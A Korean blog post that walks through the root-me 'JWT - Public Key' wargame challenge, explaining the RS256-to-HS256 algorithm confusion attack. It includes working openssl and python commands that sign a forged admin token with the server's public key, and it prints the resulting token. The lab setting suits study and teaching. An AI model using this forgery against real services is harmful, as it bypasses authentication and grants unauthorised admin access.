JWT(Json Web Token) - Public Key 문제를 풀어보도록 하겠습니다.
JWT에 대한 아주 기초적인 설명은 이전 포스트에서 언급했기 때문에 넘어가도록 하겠습니다.
2019/12/20 - [Study/Wargame] - [root-me] JSON Web Token (JWT) - Introduction
이번 문제는 이전 포스트에서 얘기한 JWT Attack 케이스 중 CASE3. algorithm 변조(RS256 to HS256)에 해당하는 문제였습니다.
HS256 알고리즘은 비밀키(Secret Key)를 사용하여 토큰의 Header와 Payload를 서명하고 인증하는 반면, RS256 알고리즘은 개인키(Private Key)를 사용해 서명하고, 이를 검증하기 위해 공개키(Public Key)를 사용합니다.
만약, 서명 알고리즘을 RS256에서 HS256으로 변경할 경우, 인증 서버에서는 공개키(Public Key)를 비밀키(Secret Key)로 사용하고 HS256 알고리즘을 사용해 서명을 확인합니다. 이러한 경우 공격자는 공개되어 있는 공개키(Public Key)를 얻어 토큰을 서명하고 HS256 알고리즘으로 서명을 검증해 JWT Attack이 이루어지는 것입니다.
문제를 풀어보도록 하겠습니다.
문제에 접속해보면 아무것도 없는 페이지가 출력되고 있습니다.
하지만, 문제 설명(첫번째 사진)에 보면 대략적인 설명이 나와있습니다.
/key, /auth, /admin 이렇게 3가지의 end point가 있고, 이 문제의 목표는 admin section에 접근하는 것입니다.
순서대로 end point에 접근해보면서 정보를 모아보았습니다.
우선, /key 페이지에 접근하면 공개키(Public Key)를 쉽게 얻을 수 있습니다.
그다음엔 /auth 페이지에 POST 메소드로 접근해보았습니다. 메시지에 username 파라미터가 필요하다고 합니다.
username=admin 이라는 값을 삽입한 후 다시 한번 접근해보았습니다.
그렇지만, admin이 아니라는 Error 메시지만 출력되네요.
이번에는 username=guest 값을 삽입해보았습니다.
JWT 토큰 값을 얻었습니다~!
JWT 값을 BASE64 디코딩해보니 Header에 서명 알고리즘이 RS256, Payload에 username이 guest 임을 확인할 수 있습니다.
https://jwt.io/ << JWT 토큰 값 인코딩/디코딩 사이트
공격을 위해 Header의 alg 값을 HS256으로 변경하고 Payload를 우리가 원하는 값, 즉 admin으로 변경하였습니다.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0
이번에는 누락된 검증 값을 얻는 과정입니다. 서명에 사용할 공개키(Public Key)가 필요한데, 해당 문제에서는 /key 페이지에서 확인할 수 있습니다. 실제 환경에서는 서버의 TLS 인증서를 이용할 수도 있다고 합니다.
/key 페이지에서 획득한 공개키(Public Key)를 ASCII hex 값으로 인코딩합니다.
2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541354568376c65726a69732f426839776443725a590a613268426d414c2f74322b4558767471764e396f734f754b6771336e5043774b5947347831494d32517177325a6e6930345949707055416b4a4e745a5a3541380a7855616749375654654d5872696f37634179656e71724e58386c4371663575746174392f584251613636346f4e5165565977556377593274635275547945444e0a6849377270706b4654715933704d6e437a514d6b6f6b6e5173467a6a616e76436763476d395738487349303956735430336b4e59422f59786b61323449796c680a51365255376e336b38555346562b6431395249666e364a6779554634747a646e65756757614245394c54776659304c2b45784a4e58473553306c6b466a7275790a4b796556763049374d684d79395843634d7462533450584330327357526e6f6b3552312f466e6b5153394b555a567075475257327036666d65754f4446396b520a33514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a
ASCII hex 값으로 인코딩하는 이유는 Bytes를 사용자가 제어할 수 있을 뿐만 아니라 명령어 입력 시 안전하게 처리할 수 있기 때문이라고 합니다.
공개키(Public Key)를 HS256 알고리즘을 사용해서 서명합니다.
echo -n "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541354568376c65726a69732f426839776443725a590a613268426d414c2f74322b4558767471764e396f734f754b6771336e5043774b5947347831494d32517177325a6e6930345949707055416b4a4e745a5a3541380a7855616749375654654d5872696f37634179656e71724e58386c4371663575746174392f584251613636346f4e5165565977556377593274635275547945444e0a6849377270706b4654715933704d6e437a514d6b6f6b6e5173467a6a616e76436763476d395738487349303956735430336b4e59422f59786b61323449796c680a51365255376e336b38555346562b6431395249666e364a6779554634747a646e65756757614245394c54776659304c2b45784a4e58473553306c6b466a7275790a4b796556763049374d684d79395843634d7462533450584330327357526e6f6b3552312f466e6b5153394b555a567075475257327036666d65754f4446396b520a33514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a
위의 명령어 입력 시 2ae5e070aaaa6e5eadc625c28598b9b766745a199e9482cfb912bf75e784e169 라는 결과를 얻었습니다.
위의 명령어는 획득한 HMAC 서명 값(2ae~)이 ASCII hex 값인데 이를 JWT 포맷으로 변경해주는 작업입니다.
python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('2ae5e070aaaa6e5eadc625c28598b9b766745a199e9482cfb912bf75e784e169')).replace('=','')\")"
명령어 실행 시 서명 값 KuXgcKqqbl6txiXChZi5t2Z0WhmelILPuRK_deeE4Wk 를 얻을 수 있습니다.
이제 완벽한 JWT 값이 만들어졌으니 인증 값을 전송해보도록 하겠습니다.
/admin 페이지에 접근해보니 [Authorization: Bearer JWT] 형식으로 인증하라고 쓰여있습니다.
헤더 값에 생성한 JWT 값을 추가하여 서버로 전송합니다.
jwt 값을 이용해 admin 권한으로 인증되어 Flag 값을 얻을 수 있습니다!
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.KuXgcKqqbl6txiXChZi5t2Z0WhmelILPuRK_deeE4Wk
※ 참고자료
- https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/
'Study > Wargame' 카테고리의 다른 글
[root-me] SQL injection - Error (0) | 2020.03.12 |
---|---|
[root-me] JSON Web Token (JWT) - Weak secret (0) | 2020.03.06 |
[root-me] NoSQL Injection - Authentication (0) | 2020.03.03 |
[root-me] File upload - ZIP (0) | 2020.02.12 |
[root-me] PHP - preg_replace() (0) | 2020.01.08 |